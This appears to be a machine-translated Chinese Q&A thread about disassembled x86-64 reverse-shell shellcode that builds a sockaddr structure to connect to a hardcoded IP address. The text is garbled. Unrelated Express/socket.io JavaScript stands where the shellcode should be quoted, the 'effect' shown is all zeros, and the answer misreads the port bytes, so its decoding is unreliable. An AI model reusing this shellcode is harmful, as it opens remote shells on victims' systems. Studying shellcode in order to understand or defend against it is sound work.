我正在寻找来自this链接的反向shell shellcode。我无法按照shellcode中以下说明的原因进行操作:
var app = express();
var server = app.listen(3000);
var io = require('socket.io')(server);
我搜索了其他SO问题,我发现BYTE / WORD / DWORD PTR将用于分配字节/字/双字。由于这个x86 64,我假设WORD在这里意味着2个字节而DWORD意味着4个字节(如果我错了,请纠正我)。 作者在堆栈上推零。然后他有3个mov指令。 假设RSP最初指向:
4000a3: 4d 31 d2 xor r10,r10
4000a6: 41 52 push r10
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
4000ba: 04
4000bb: 48 89 e6 mov rsi,rsp
1)以下是三个mov指令的效果(假设是小端)?
x00 x00 x00 x00 x00 x00 x00 x00
2)如果是,那么作者是通过它实现了什么,因为下一个mov指令是否覆盖了rsp指向的内容?
由于
答案 0 :(得分:1)
1)是
2)作者正在为socket connect syscall
保存sockaddr int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
在x86-64中,参数是寄存器 rdi,rsi和rdx 。所以,他正在将指针 addr 指针移动到 rsi 寄存器。
mov BYTE PTR [rsp],0x2 ; Family Address (PF_INET)
mov WORD PTR [rsp+0x2],0x697a ; port = 27002
mov DWORD PTR [rsp+0x4],0x435330a ; addr = 10.51.53.4 (0a333504)